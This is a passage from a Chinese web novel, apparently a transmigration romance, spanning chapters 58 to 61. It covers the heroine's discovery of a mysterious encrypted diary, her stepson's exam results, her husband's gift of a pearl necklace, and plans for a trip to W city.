她试图回想自己刚穿越过来时的模样,是和现在一模一样,还是同照片中的人类似?结果什么也想不起来了。 但她的第六感告诉她这里面一定有什么问题,而且是很重要的问题。 金苒放下相框,视线不经意地扫过其他地方,而后镇定自若地打开了房间里的唯一一台电脑。 第58章 第58章江许黎认出是他爸的黑卡…… 说不留下吃饭,到中午的时候,两人果然起身准备离开。 金母倒是劝了几句,话里话外指责金苒不懂事,被江许黎嚷嚷着要吃满汉全席,吓得她立刻闭上了嘴巴。 一出门,金苒终于忍不住,“噗嗤”笑出声。 “江小黎,没看出来你还挺厉害,从今天开始我要颁布给你老头老太太克星的称号。” 江许黎脸黑下来,夸他厉害就算了:“这个称号是什么鬼!” 金苒思考了会儿,也觉得不太准确:“年龄不是限制,上次金静都被你怼得哑口无言,应该封你为鉴茶大师!”她看着江许黎白白的小脸,怎么看都是高冷校草的样子,不由得感慨,“我还以为鉴别绿茶只是我们女生的能力。” 江许黎撇撇嘴,觉得这个称呼也很一般:“没有能不能力,只有愿意相信还是不相信,她嘴上说留你吃饭,厨房却连火也没有开,我又不是傻子。” “哇哦,那你好厉害哦,真羡慕以后你的女朋友,肯定过得很幸福~”金苒笑眯眯夸赞。 毫无疑问,江许黎又闹了个大红脸。 同时脑海中不由得想起她在金家说的那些话。 虽然有做戏的成分,但谁也不知道里面掺着几分真心几分假意。 她抱怨豪门太太难当,是不是因为在他们家并不快乐? 江许黎嘴唇下意识抿紧,等到金苒慢悠悠跟上来,他突然开口:“我爸身边没有什么乱七八糟的人。” 金苒:“?” “以后要是再有人说闲话,你可以告诉我,我勉为其难可以帮你处理。” 金苒足足愣了几秒才明白过来他的意思,所以是因为自己之前说的那些话才安慰她? 心中不由得涌起一股暖流,因为发现原身秘密而紧绷的情绪,此刻莫名就松动了。 同一个屋檐生活了这么久,她当然知道江明羧洁身自好,没有其他桃花,而且两人的关系或许暧昧,但还没有达到那种程度。 可江许黎不知道啊。 在这样的情况下,他仍然选择站在自己一个“外人”身后,而不是亲生父亲,说实话,金苒真的被感动到了。 上一辈的金苒年纪不大,但是周围不乏也有结婚生子的朋友,每次她们说着自家孩子可爱时,脸上都露出充满母性的光辉。 彼时的金苒很不理解,甚至隐隐排斥,坚决把这种“母爱滤镜”行为认为是激素的影响。 但这一刻,她突然就明白了“我的好大儿真可爱”的心情,尤其这位好大儿又高又帅,还愿意支持她:“所以,你承认我是你后妈?” 闻言,江许黎脚步一个踉跄,反应过来猛地加快:“我才没有承认,我只是懒得再和新的人打交道!” 少年急切的嗓音被风裹挟着吹来,漫天的草香,数不尽夏日的热情。 金苒眉眼弯弯,嘴角勾起浅淡梨涡。 其实这样挺好的。 感动归感动,但她仔细想了想,自己还是没办法给别人当妈呢。 或许,他们可以成为很好的朋友,以及很好的“师生”。 / 时至中午,两人没有立刻回家,金苒信守承诺,带着江许黎去吃了一顿大餐。 对此,彼此都已经习惯。 而且没有他爸在场,江许黎吃得更加开心。 付款的时候,金苒突然想到江明羧给她的那张黑卡。 她还从来没有用过,想着电视剧里霸总甩卡的经典桥段——“我的女人,随便刷”,她就有些乐不可支,并蠢蠢欲动地拿了出来。 这家餐厅只是一家小餐厅,虽然支持刷卡,但平日里的顾客以网络支付为主,服务员还是第一次遇到黑卡。 本来看着金苒和江许黎两人年纪轻,只以为是一对长得好看的年轻姐弟,没想到对方随随便便就能够拿出一张运通百夫长黑卡! 便是江许黎也看了几眼,认出是他爸的黑卡。 不过他什么想法都没有,金苒是他爸的老婆,钱给老婆花不是很正常的事情么。 服务员的态度变得恭敬起来,不用催促,便快速帮金苒结算,最后双手把卡递回去,殷勤地表示他们可以免费给她办一张会员:“金小姐以后再过来,我们也给您打八折。” 没想到还有意外之喜,想着刚才味道不错的小炒牛肉,金苒欣然点头。 / 书房,金苒怀着复杂的心情打开了白天在金家拷下的东西。 原身的电脑里有一个加密文件,很奇怪,看到那个文件的时候,她脑海中忽然就冒出了一段数字密码,金苒犹豫了下,还是屈于好奇输了进去。 结果出人意料,真的打开了。 金苒心一凛,不知道这代表着什么,然而接下来的事情和她想象中不同,文件里面不是什么特殊的内容,反而是一些杂乱无章的数字和 文字。 她仔仔细细研究了会儿,倒是看出那些阿拉伯数字似乎是日期,日期后面的文字就毫无规律可言了。 9.13,转型,地产 1.5,简家(后面打了个一个叉号) 2.10,江,联姻 4.2,江,右臂,伤(存疑) …… 一开始金苒只以为是原身的随手记录。 譬如2月10日是金家和江明羧联姻的时间,“简”字大概代表着简家或者原身的男朋友,可看到后面,她突然觉得有些不对劲。 4月2日,如果没有记错,江明羧的右臂便受过伤,不久后她送江许黎去医院,在病房里第一次见到对方,但那时候,自己已经穿过来许多天…… 倏然间,金苒控制不住打了个寒战。 后面的记录更加缭乱,好像是记录之人也拿不准,金苒快速翻看,出现最多的字是“首富”,直到映入眼帘,是一条加粗加红的文字: 7.12,W市虞山。 金苒恍惚觉得这个地方很是熟悉,但没等她想起来,书房门口便传来声音,也不知怎么的,她下意识将电脑关闭。 下一秒,江明羧走了进来:“还不睡?” 金苒收复杂的心情,假装伸了个懒腰,瞥见墙上的挂钟已指向十点,顿时惊呼:“啊!我的美容觉!” 这次是真的着急了,手忙脚乱地从书桌前起身,那边江明羧已经按亮了顶灯,骤亮的灯光让金苒不适地眯起眼,等视线逐渐适应,她才注意到江明羧身上穿着睡衣。 今天休息的这么早? 没错,对于她来说很晚的时间,对于江明羧来说时间尚早。 有好几次,她半夜起来喝水,都看到书房亮着灯光。 她这样想,也这样问了。 江明羧回答:“明天要出一趟差。” 对此,金苒倒是没有意外,江明羧作为总裁,不忙的时候反而才是少数,不过想到自己现在的身份,她主动问了一句:“去哪,要几天时间啊?” “Z国,大概一周。” Z国盛产海鲜,同他们国家却是隔着大半个太平洋。 金苒计算了下,七天时间,除了已经高考完的高三学生,高二高一还要进行期末考试,到时候她大概率还在监考中。 一家三口,两个社畜,剩下一个还是高中牲。 金苒颇有些老气横秋:“那你要注意劳逸结合,不要累着自己,回来的时候记得给我们带特产。” 江明羧笑了笑:“好。” 待金苒离开书房,负责关门的江明羧站在门口,视线不经意往里面望了一眼,又不动声色地收回。 / 日子跑着步进入七月。 七月初,文承中学确定下期末考试的日期,时间瞬间紧张起来,一切娱乐为主课让步,金苒的晚自习“搭档小组”也是如此。 但在“结课”前,金苒亲自公布了各个小组的成绩,并把早早准备好的小奖品分发下去。 东西并不贵重,有笔记本和圆珠笔,也有卡通小摆件、零食礼包、甚至几张写着“免作业”的券,虽然如此,学生们还是高兴不已。 不过高兴过后,又投入到紧张的复习中,各班的班主任激情彭拜地讲着劝学的语言,在昏昏欲睡的午后,为学生们注入一瓢炖鸡汤。 被这种氛围感染,金苒也开始有些紧张。 她入职不过几个月,这还是第一次遇到大型考试,虽然对自己教学课堂很有信心,但学生成绩是否会有所进步,她却是拿不定主意。 不止她紧张,和他爸有赌约的江许黎同样紧张。 这天早上,王厨再次拿出他的满分套餐,这次是两人份的。 “希望少爷考个好成绩,太太教的学生也能考个好成绩。” 这样的祝福不管有没有用,但江许黎吃完之后,紧绷的心情稍微放松了些。 七点半,他拿着准考证毅然而然踏入考场。 心里想的是,等他考完,他爸应该也回来了吧? 第59章 第59章金老师可还满意这颗星星…… 文承中学的考试持续了三天。 第三天晌午,考完所有科目的江许黎从考场出来,除了右手发软,长久的过度思考让他的脑袋有些嗡嗡的,细微的针扎似的刺痛。深吸一口新鲜的空气,心情却是难得的放松。 无论如何,他已经尽了自己最大的力气。 没一会儿,陈训良苦着脸凑上来:“完了完了,这个假期我妈怕是饶不了我,早知道我就和你一起补习了。” 又问,“黎哥你考的怎么样啊?” 江许黎摇了摇头:“不知道。” 他是真的不知道,即便有这段时间的突击,但因为他的基础太差了,对于偏科的几个科目,他学习的更多的是答题技巧:“反正没有空着,不会的也全部编上了。” 闻言,陈训良顿时懊恼不已:“我怎么忘了这种办法啊,说不定老师就看错了呢!” 但显然,已经为时已晚。 考完试之后便是学生们最期待的暑假,或许是之前复习太过紧绷,江许黎回到别墅后饭都没吃,倒头就睡了个昏天暗地。 第二天醒来已是上午十点,他饿得肚子咕咕作响,趿拉着拖鞋下楼找吃的,正好撞见一身正装的金苒准备出门。 他愣了一下:“你去哪?” 金苒无奈地看着少年颇不食肉糜的样子,语气酸溜溜的:“大少爷,你的卷子是做完了,我还得辛苦地替你们批改卷子。” 江许黎差点忘记她的身份,挑了挑眉:“金老师是为祖国培育花朵的园丁,这么有意义的事情,批改卷子也会很开心。” 金苒:“……” 眼前这个毒舌腹黑的家伙到底是谁啊?能不能把她第一次见面时的高冷校草还回来! 不过好在家里还有另外一个人陪她吃苦。 前几天的时候江明羧曾打电话回来,因为一些突发状况,原本计划一周的出差继续往后推延。 到达学校,金苒从包里拿出手机,上面是她出门前和江明羧的聊天记录,他询问她想要什么特产。 本来只是随口一说,过后金苒很快就忘记了,但这种被人放在心上的感觉却很是不错。 既然男人愿意主动表现,金苒当然不会扫兴地拒绝,况且她猜测,买特产这种事多半是王特助去办,倒也不用担心会影响江明羧的工作。 备课汉姆(考不过教师编不改名版本):【要什么都可以吗?】 江明羧:【可以】 金苒瞥瞥嘴,觉得男人真是世界上嘴最硬的生物,她故意问:【那我要天上的星星也可以?听说Z国晚上的星星特别亮。】 江明羧:【确定?】 【如果你想要,我可以带】 他这样笃定,金苒的小脾气也上来了,她活了两辈子,这个世界上还从来没有人能把星星摘下来:【行啊,不能是照片,要真的星星!】 江明羧:【嗯】 备课汉姆(考不过教师编不改名版本):【……】 【(赵本山摸头.jpg)】 看到最后一张表情包,正在走路的江明羧脚步一顿。 同行的外国合作商注意到他的样子,夸张道:“哦,我亲爱的江,你是在和谁聊天,笑容这么灿烂!” 江明羧收起手机,神情平淡:“我有笑?” “当然,我从来没有见过你露出如此深情的眼神,像你们中国人所说的眼睛里多了很多死水,我猜一定是你的女朋友。” “DirectorSmith,你的中文进步很快,不过容我纠错,你想说的应该是 柔情似水。” “而且……”他顿了顿,“不是女朋友,是我的太太。” Smith中文只学了个皮毛,闻言困惑不解:“女朋友的意思我知道是girlfriend,太太是什么,sweetheart?” 显然在外国人的文化中,叠词的太太更像某种甜蜜的指代。 江明羧没有立即回答,修长的手指无意识地摩挲着骨节的弧度。 片刻后,他唇角微扬:“确实比sweetheart还要甜。” / 金苒又在学校待了三天时间,才和其他老师把整个高一的试卷全部批改完毕。 之后需要录入成绩,上传电子档案,并确定日期通知学生来取成绩单,不过这些事情都由正式教师来处理,像她和徐珍这样的代课老师可以提前离校。 从这一点上来说,文承中学还是非常人性化的,当然也是因为万老师的事情,让校长更加谨慎,万事讲究合同和规矩。 就连立下大功的金苒,他也没有明确承诺,只是暗示假期后会向学校.党.组织推荐一下。 对此,金苒表示已经很满意了。 至少说明她没有做无用功。 离校的路上,想到接下来近两个月的假期,徐珍顿觉苦尽甘来,入职以来的那些心酸突然变得不值一提:“从今天开始,我才终于体会到老师的乐趣。” 金苒非常认同地点了点头。 虽然她的学生还算听话,但谁会讨厌假期呢。 “对了,这个暑假你打算做什么?”徐珍好奇地询问,“教师编面试成绩要和总成绩一起公布,有的等呢,总待在家里太无聊了。” 金苒想了想:“可能会四处玩一玩。” 徐珍也有这样的想法,她属于人前社恐人后自来疯,下意识就想要邀请金苒一起,不过很快她就想到面前的人和自己不一样:“算了算了,你是有家室的人,暑假肯定会和江总一起出去。” 金苒无奈:“我倒是想,可他那个工作哪能随便出去旅游呀,上次出差到现在还没有回来呢。” 徐珍惊讶:“这么忙?” “嗯,而且每天回家要去书房继续工作,每次看到灯光,我都庆幸自己不是他手下的员工。” 谈起日常中的江许黎,金苒一副敬谢不敏的样子。 见状,徐珍噗嗤笑出声,不过这样一来,她们两个可以一起出去玩了:“那等我回去做个攻略,到时候再发给你。” “好啊,我负责订票和酒店。” 两人商量好分工,在学校门口分开。 金苒今天没有给小孙打电话,索性没有旁的事情,便独自一人慢悠悠往别墅的方向走。 她的驾照还在练习的路上,这段时间一直是搭小孙的车,她似乎也习惯了和江明羧一起上下班,自从对方出差后,反而有些不适应,每次看到笑话想要分享,结果转头才意识到只有自己一个人。 也不知道江明羧什么时候能够回来。 金苒叹了口气,等步行到家的时候,额头已经沁出细密的汗珠,精致小巧的鼻头湿润润的。 走到门口,她听到客厅里传来低沉的说话音。 心念一动,金苒意识到某种可能性,不由得加快了脚步,果然进门后看到熟悉的人影。 江明羧正在听管家汇报最近的事宜,侧对着门口,肩线在阳光下勾勒出一道锋利的剪影。 他大概刚到家,身上的衣服还没有换下,长途跋涉让他显露出些许疲惫,身姿却依旧挺拔如松,见状,金苒脸上不自觉扬起一个笑脸:“你回来了?” 江明羧回过头,素来锋利的眉眼微微舒展:“嗯,半小时前刚落地。” “好突然啊,怎么没有提前说一声,我还打算和小黎去接机呢。”金苒走近了些,仰头开玩笑。 江明羧:“猜到你应该在忙,就没有说。” 两人简单聊了几句,金苒注意到江明羧眼底淡淡的青影,便催促道:“你先去休息吧,有什么话我们晚上再说。” 江明羧的确有些累,顺势点头应下,不过在转身上楼时忽然想到某件事情,停住:“对了,你要的特产我带回来了,王助理待会儿会把行李一起送过来。” 听他提及,金苒才想到自己那个关于“星星”的离谱要求,她实在好奇江明羧到底带了什么回来,原本打算回卧室的脚步顿住,硬是在客厅坐下等待。 半个小时后,王特助推着行李上门。 一进来就在客厅看到金苒,笑着打招呼:“太太好。” “嗯,王特助辛苦了,明羧还在休息,要我去帮你叫他吗?” “不用不用,”王特助连忙摆手,“让江总继续睡吧,我只是过来送行李。” “哦,那你就放在那吧。” 金苒指了一个地方,江明羧并不是特别讲究的人,出差简装出行只带了两个箱子,两个同款的银色行李箱并排摆在那儿,连密码锁的款式都一模一样,实在让人猜不出到底哪个放着特产。 可没有主人的允许,金苒实在不好意思直接打开,只能压下心底的好奇,出于某种心思,她让王助理把行李箱放到了最显眼的地方。 / 江明羧在国外连轴转了好几天,这次睡得格外沉。等生物钟终于适应了时差,醒来时窗外已是暮色四合。 楼下隐约传来对话声,窸窸窣窣的,听不明确。他揉了揉太阳穴,推门下楼,看见金苒和江许黎正盘腿窝在沙发上看新闻联播。 “我听你们班主任说了,后天就要出成绩,不过为了保护学生的心理健康,只公布前三名的成绩。” 江许黎皱了皱眉:“那排名怎么看?” “不知道,估计得私下问老师吧。” 话没说完,木质楼梯传来规律的脚步声,两人同时转头,看见江明羧站在最后一级台阶上——准确地说,是被两个银色行李箱堵在了最后一级台阶。 男人穿着宽松的居家服,气质慵懒,正盯着挡路的箱子沉思。 罪魁祸首金苒面不改心不跳:“下午的时候王助理把行李送来了,不过我怕弄乱你的东西,没有打开。” 江明羧“嗯”了声,心想王特助只会帮忙把箱子搬到房间,绝对不会丢到楼梯下,所以现在的场景只能出自某个人之手。 思及此,他嘴角极轻地扬了一下,但也没有说什么,而是直接遂对方的意去打开行李箱。 金苒和江许黎对视一眼,不约而同飞奔过去。 谁走的快,东西就是谁的! 王特助不愧是总裁特助,便是买特产这种事情也能做到面面俱到,每一样东西都准备了多件,不仅包括金苒和江许黎的,别墅里的其他人也能分到。 可惜金苒翻遍礼盒堆也没有看到想看的东西,不由得怀疑对方故意耍自己,眼睛眯起,突然转身戳了戳旁边人的腰:“说好的星星呢?” 她一下没有收力,只觉得戳到了什么硬邦邦上面,指甲和指腹的连接处都泛起点儿疼,而被戳的江明羧肌肉绷紧,喉结重重滚动了一下。 待人生气看过来时又放松下来,而后叹了口气,从口袋里取出一个深蓝色丝绒盒。 金苒:“???” 所以他其实一直随身携带?! 白白等待了一下午的金苒表情幽怨更深了,气得挠了一把头发,弄乱了半数发丝,像只气鼓鼓的猫咪。 见状,江明羧指尖微蜷,一瞬间很想摸摸她的头,最终还是克制住了,只是将手中的盒子递过去:“打开看看。” 金苒轻哼了声,对男人的示好视而不见,心里已经盘算着要是对方的答案不能让自己满意,她一定不会轻易饶过他。 可当她真正打开盒子后,金苒却是忍不住惊艳。 那是一条漂亮的项链,由十八颗饱满的珍珠串成,初看泛着细腻的晕色,可当其曝于光下时,那莹润的珠子便散发出五彩斑斓的白,仿佛将满床星河揉碎后凝成的瑰宝。 “这是AuroraPearls,大溪地黑珍珠中的极光珍珠,在特定的光线下表面看起来像极光流动,而这一串项链上面的珍珠都有旋涡状纹 路,当地人认为是银河系的图像。” 灯光软化了冷硬的轮廓,江明羧嗓音低沉冷冽,却无端让人听出几丝笑意:“金老师可还满意这颗星星?” 第60章 第60章莫名被塞一口狗粮 满意吗? 金苒只能说,太满意了。 那串散发着五彩斑斓白的极光珍珠,最后被她戴到了脖子间。 为此,她还特意找林太太定制了几身旗袍。 林太太的服装店尚在装修中,除了服装店的功能,兼顾日常设计办公,金苒中间去看过一次,虽未完工,已经能够看得出整体布局的精致与巧思。 听到金苒想要旗袍,林太太便和她索要尺寸。 旗袍这样的服饰,差之毫厘,谬以千里,金苒明白这一点,所以询问好需要的尺寸后,便向管家要来软尺测量。 可真正动手的时候,她才发现自己一个人还是有些困难的,譬如她虽然可以用软尺环绕自己一圈,却无法保证背面的卷尺是否平整,反而量出来的胸围达到了92。 咳,虽然她身材还不错啦,但也的确没有这般夸张。 在衣帽间忙活了半天,始终不得要领,反而让路过的江明羧停下脚步。 不知道是不是太累了,从Z国出差回来后,江明羧这几天居然都在家中休息,他站在门口问:“需要我帮忙吗?” 金苒连忙摇头,她可不好意思让江明羧帮她测量胸围:“不用了,不过你能帮我叫一下小陈吗?” 江明羧目光在她泛红的脸颊上划过,点了点头,然后下楼让小陈过来。 等到金苒在小陈的帮助下,终于把林太太需要的各项尺寸量好之后,她从衣帽间出来,白皙的脸已经散了热度。 旁边书房传来江许黎有些急切的声音。 “是您答应会让我回老家!” 与少年的气急败坏相比,江明羧的语气听不出多少波动:“前提是你要考进班级前十,还是成绩没出来,你已经觉得自己不行了?” 江许黎一噎,对于前十的目标他内心其实并没有多少把握,本以为他爸会看在这段时间他老实学习的份上能够放宽条件,现在看来计划落空了。 “谁说我不行了,我只是怕你忘记,过来提醒一下。”他梗着脖子嘴硬道。 江明羧瞥了一眼几乎要赶上自己高的儿子,轻而易举就能看透对方心底的想法,或许是回忆起了年少时的自己,又或者难得生出一些为人父的责任感,他语气放缓了些:“即便你不相信自己,也要相信帮助你的人。” 闻言,江许黎愣了愣。 长久以来,父子俩的关系处于一种剑拔弩张的紧张,他习惯了和他爸争锋相对,乍然听到他爸说出类似于鼓励的话,竟一时不知道该做出什么反应。 但江明羧说的帮助他的人,江许黎还是立刻就猜到了。 然后,表情变得颇为不自在。 这场父子两人的赌注,金苒本来可以置身事外,就像她最初来到家里时那个样子,告完状后便躲到一边看热闹,可她这次却变着法帮他补习,送资料,找老师。 虽然每次都说是等价交换,但江许黎明白,她是为了照顾他的面子,故意那样说的。 想到女人含笑的眼睛,他别开眼神:“我知道了。” 门口,金苒蹑手蹑脚离开,没有打扰父子俩的相处时光。 冰冻三尺非一日之寒,父子两人的隔阂由来已久,没办法说消除就消除,可至少此刻,他们都伸出了手,尝试着触碰那冰封已久的温度。 晚间时候,一家三口吃了顿海鲜大餐。 食材是从Z国空运过来的,三文鱼,帝王蟹,北极鳕鱼,深海螯虾。在王厨的鬼斧神刀下变成一盘盘色香味俱佳的美食。 金苒爱吃虾,但不爱剥虾,望着满桌子香喷喷的炭烤鳌虾,她刚做完美甲的手蠢蠢欲动,最后还是叹了口气,忍痛放弃。 她的美甲要五千呢! 这一幕被坐在旁边的江许黎注意到了。 想起他爸说过的话,江许黎默默带上一次性手套,然后一声不吭地把自己面前的虾全部剥了。 别看他不爱吃虾,但剥虾很有一手,很快面前就堆起小山高的虾皮。 他也不说话,直接把剥下来的虾肉往旁边一推,那边,遗憾自己不能享用美食的金苒望着忽然出现的满满的一盘虾肉,脸上露出诧异的神色,脱口而出:“给我剥的?” 江许黎绷着脸,说:“其实是给我自己剥的。” 金苒噗嗤一笑,果断把东西拉到自己的面前,像只护食的鸟雀似的:“那我不管,现在是我的了。” 她夹起一块吃到嘴里,忽然皱眉:“味道不错,不过好像有点儿奇怪的味道。” 江许黎心下一紧,连忙问:“什么味道?” “唔,好像是某人关心的味道。” 江许黎:“……” 毫无意外,金苒看到了少年通红的耳尖。她早就发现,这位看似酷酷的高中生,其实有着最柔软的内心,还特别容易脸红。 正想再说点什么逗逗他,盘子里又多出一块完整的虾肉,抬头一看,对面的江明羧淡定地收回手:“我也不爱吃。” 金苒:“?” 怎么回事,自己今天的运气简直太好了吧! 秉持着白送的美食不要白不要,她矜持地笑了笑,很是不好意思的样子:“既然如此,那我就勉为其难替你们分担。” 说完这句话,餐桌对面的江明羧的目光并未移开,而是在她吃下那块虾肉后,状似不经意地开口:“有味道吗?” 味道?什么味道? 金苒被问的有些迷茫。 直到看见江许黎一脸无语表情,她才恍然大悟,于是毫不吝啬夸赞:“嗯,你剥的虾里面也有奇怪的味道。” 江明羧终于满意地收回视线,继续剥虾。 看到这副画面,金苒心里偷偷笑。 没想到当爹的还会和当儿子的争强好胜呢。 无论如何,有两个免费劳力,这顿饭吃得非常顺心,中途金苒还感动地拍了一张照片发到朋友圈。 配字特别欠打:【今天才知道,原来虾天生就是没有壳的呀~】 没一会儿,徐珍闻着味而来。 【啊???为什么我吃的虾都有壳呀!】 金苒回复徐珍:【大概是我有两位已持证上岗的御用剥虾师(捂嘴笑)】 徐珍:【……莫名被塞一口狗粮】 再看照片中色香味俱佳的海鲜,虽然许多菜品她都没有见过,但想都不想,肯定是什么刚从海里捞出来,用直升机空运而来的新鲜海鲜,这样一比较,买个雪糕都要货比三家的她算什么,算穷人吗? 她忍不住感慨:【真想不到江总私底下居然是宠妻狂魔,哦还有小江同学,妥妥一个宠妈狂魔。】 江许黎回复徐珍:【……】 可惜,两个大人不理会未成年小孩子。 金苒质问好友:【怎么,我不值得宠?】 徐珍:【必须值啊!要是我能够娶到这么优秀又漂亮的老婆,我也宠!】 在好闺蜜眼里,哪怕朋友嫁给天上唯一一朵小仙男,那也绝对是对方高攀! 【哈哈哈哈,对了,江明羧带回来的海鲜还剩下好多,你把地址发我,我给你寄过去一盒】 徐珍还能说什么? 她只能一边感动流泪,一边迫不及待把自己的地址发过去,唯恐错过闺蜜的投喂。 晚饭期间,江许黎收到班级群通知,要求学生们第二天返校领取成绩单。 得到这个消息的他表演活人微死。 尽管在他爸面前信誓旦旦保证过,此刻还是控制不住地紧张起来。金苒便安慰:“你复习得那么用功,肯定会有进步的。” 话虽这样说,江许黎还是有些提不起精神,吃完饭打过招呼后就蔫头耷脑上了三楼。 江明羧留在客厅没动,见金苒放下筷子,他开口邀请:“要不要出去散个步?” 金苒想了想,自己好像也没有其他事情要做 ,便爽快答应:“好啊,正好当做消食。” 两人换下衣服出门。 今天的夜晚是个大晴天。 仰头看,万里无云,星辰点点,江家别墅很大,前面有一大片草地,在月光下泛着柔和的光,两人并肩逛了几圈后,又回到最初的地方,也没有拿坐垫,直接在草地上席地而坐。 如今的社会,日复一日烦躁又忙碌的生活中,这样静谧的时刻实在难得,耳边是晚风和蝉脆,不知名的虫子咕咕吱吱的唱着歌,金苒听着听着,眼皮逐渐变得发沉,就在她昏昏欲睡之际,身旁突然传来江明羧低沉的嗓音。 “这几年,小黎其实一直想回W市。” 金苒一下子清醒过来。 从别墅出来时,她就察觉到江明羧似乎心事重重,原本以为对方会像往常一样保持沉默,所以哪怕心中再好奇,金苒都没有主动开口。 这个世界上每个人都有自己的秘密,就像她,就像原身,就像路上擦肩而过的陌生人。 江明羧或许猜到了,但从未追根究底,而她同样尊重他的意见。 不过他想说,她也愿意坐下来,充当一个完美的树洞。 循着声音传来的方向,金苒慢慢挪动着碎步转了个身,手臂从前面环抱住自己并拢的小腿,下巴抵在膝盖上,做出倾听的姿势。 她就用这副样子望着男人被风模糊的身影,然后问:“但你一直没有答应,是……因为你前妻吗?” 说来,这还是两人第一次提及感情生活,好奇有之,试探也有之,金苒也不知道自己为什么会这样问,心里甚至隐隐担心对方的回答让自己不满意。 尤其在江明羧没有说话,而是垂眸看过来时。 那双眸子沉默又冷静,里面藏着令人看不懂的情绪。 她大概没有发现,自己问话的时候,眼睛里盛着星星在闪烁,只差把八卦写在脸上,但害怕触及旁人伤心处,又多了几分小心翼翼。 江明羧嘴角若有似无的笑。 两人就这样注视着彼此,仿佛时间被无限拉长。 半晌,江明羧终于回答:“是,但不全是。” 他从衣兜中摸出一支烟,没有点燃,就这样夹在手指间,淡淡的烟草味混合着薄荷的清凉。 “我父母去世的早,小时候在几个亲戚家辗转,十岁的时候搬出来自己一个人住,他们大概乐见其成,两方的关系就逐渐淡了下来,后来……闹了点儿矛盾,关系就更不好了,他们对我害怕居多。” 害怕,畏惧,同样厌恶,鄙视,恨之入死。 思及此,江明羧神色露出几分嘲讽。 金苒没有注意到男人的表情,但她听明白了潜台词:“你怕小黎回去会被欺负?” “嗯。” 这次,江明羧承认了。 过往不堪回首的一件件事情在喉间翻滚,最后打碎骨头囫囵咽下去。 他没有说的是,在他最初离开W市的那些年,那些人其实已经几次三番拿孩子做筏,如果不是后来出了那些事,他连夜赶回去将孩子带走,说不定那些人真的得逞了。 当然,有保镖在,江明羧并不担心江许黎的安危,而是更担心另外一件事情。 “所以,如果可以的话,这次我想拜托你一起走一趟。” 黑暗中,江明羧侧过身,月光在他低垂的眼睫下投落细碎的光斑,声音带着沉哑:“小黎……很信任你。”【你现在阅读的是 】 60-70 第61章 第61章成绩进步的奖励…… 金苒答应了。 其实在江明羧提出这件事的那一刻,金苒心里就已经有了决断。 几个月下来,她和江许黎相处的还算不错,少年叛逆中二,心地却是好的,帮过她几次忙,金苒又不是石头做的,现在对方固执要去虞山,她当然愿意照顾一二。 但现实中,还是撇撇嘴:“如果小黎考的好,你就欠我一个人情呢,现在又让我帮忙,算怎么回事啊?” 说的是当初赌约的赌注。 江明羧勾起嘴角,认真思考了会儿:“不然,算我欠你两个人情?” 这还差不多。 看完星星的第二天,江明羧就回公司上班了。 为此,觉得自己要求提少了的金苒一度怀疑对方是不是故意的。 虽然她内心也明白,以江明羧的身份根本不可能长时间离开公司,但不妨碍她暗戳戳揣测对方,问就是甲方不讲道理,甲方的女人更不讲道理。 金苒拿着鸡毛当令牌,在家随心所欲,以至于完全把某件事情抛到了脑后。 直到徐珍拿着做好的旅游计划过来找她…… “我想好了,虽然是旅游放松,但得控制好行程范围。”徐珍一边打电话一边把计划表发过来,“这几个省份高铁只要三四小时,要是面试成绩公布,我们随时能赶回来,你看看有想去的地方吗?” 徐珍做事向来雷厉风行,决定要一起出游后便迅速筛选了几个目的地,两天时间连详细攻略都做好了。 也是如此,金苒才猛地想起来——自己答应江明羧的事情,竟然忘记告诉徐珍! 这样出尔反尔的事情终归是不好的,金苒有些心虚,想要开口解释,可听到徐珍兴致勃勃的声音,话到嘴边又咽了回去,纠结之际,随手点开计划表翻看,某个地名突然跳入眼帘。 “W市?”金苒心头一动,问,“这不算旅游城市吧?” “哦,你说这个啊,”徐珍解释,“是最近新火起来的地方,W市的虞山开发了个‘鱼城’项目,宣传最美味的鱼都在虞山,我舅妈上半年去过,说那儿的鱼汤特别鲜美。” 金苒摸了摸鼻子,有些不好意思:“要不就去虞山?” 话音落下她脸色便泛起红来,没有隐瞒,把自己要陪江许黎去W市的事情全盘托出,当然没有说具体原因。 她打算好了,徐珍生气也是正常的,这次是自己有错在先,过后一定要好好弥补对方。 哪知听她说完后,徐珍竟也松了口气。 同样有些不好意思:“我以为你要告诉我没有时间了,其实说实话,我还挺想去虞山的。” 作为一个十足的吃货,徐珍做攻略时就存了点儿私心,本打算让金苒做决定,没想到两人最后不约而同选了W市,简直是意外之喜。 等挂断电话,金苒握着黑掉屏幕的手机,脸上的笑容逐渐变成肃然。 片刻后,她转身走进书房,打开电脑里面带锁的文件,翻到笔记的某一页。 7.12,W市虞山。 怪不得她觉得有点儿熟悉,原来这个地点是江明羧的老家。 不知道为什么,金苒总有一种感觉,原身似乎能知道一些未来会发生的事情。 譬如金家会破产,譬如江明羧的右胳膊受伤,由此往下推论,虞山是不是也会发生什么?或者说,虞山有什么是原身特别在意的…… 金苒眉头轻蹙,渐渐拧成麻花似的死结,有一瞬间,她甚至怀疑对方也和自己一样是穿书的。 复杂的思绪在脑海中纠缠,绕来绕去,成为理不清的一团乱麻,最后她长长叹了口气,索性不再想。 算了,车到山前必有路,反正已经决定要去看一看,原身特意用红笔标准,想来应该是很重要的事情。 眼看临近晌午,金苒从书房出来,去衣帽间挑选衣服。 短暂抛开教师身份后,她终于能够随心所欲穿衣打扮,今天便搭配了一身高饱和度的撞色时尚,蓝色条纹格的无袖短衫,搭牛油果绿休闲半身裙,再戴上浅卡其色遮阳帽,整个人显得格外明媚动人。 坐上家里的车子,司机小孙询问:“太太,我们先去哪里?” 金苒思考了一下:“先去学校接小黎吧。” 今天是文承中学公布成绩的日子,但事实上,金苒早在一天前就从三班班主任那里拿到了学生的成绩,之所以选择保密,无非是想让某人亲自体验那份惊喜——当然,绝对不是为了满足她小小的恶趣味。 等 到达目的地,学校里面已经陆陆续续有人出来,她没有下车,只让小孙将车子停在街对面。 另一边,拿到试卷的江许黎精神有些恍惚。 红色的批改艳丽夺目,笔迹几乎力透纸背,耳边似乎还飘荡着班主任的夸赞:“虽然不公布成绩,但我还是要例外表扬一位同学,从第二十五名考到了第九名,进步十六位,大家以后要向江许黎同学学习。” 往常在班级里,江许黎因为性格冷漠和家庭背景,同学们对他向来是敬而远之,除了陈训良、王舒雅等少数几人,很少有人主动与他交谈。 可今天班主任刚离开教室,几个平时毫无交集的女生就怯生生地围了过来:“江许黎……能借我们看看你的数学试卷吗?” 江许黎明显怔住了。 见他迟疑,女生们顿时涨红了脸,又羞又怕:“对不起!要是不方便的话就算……” 话音未落,干净整洁的试卷已经递到面前,江许黎只是平静地问:“什么时候还我?” 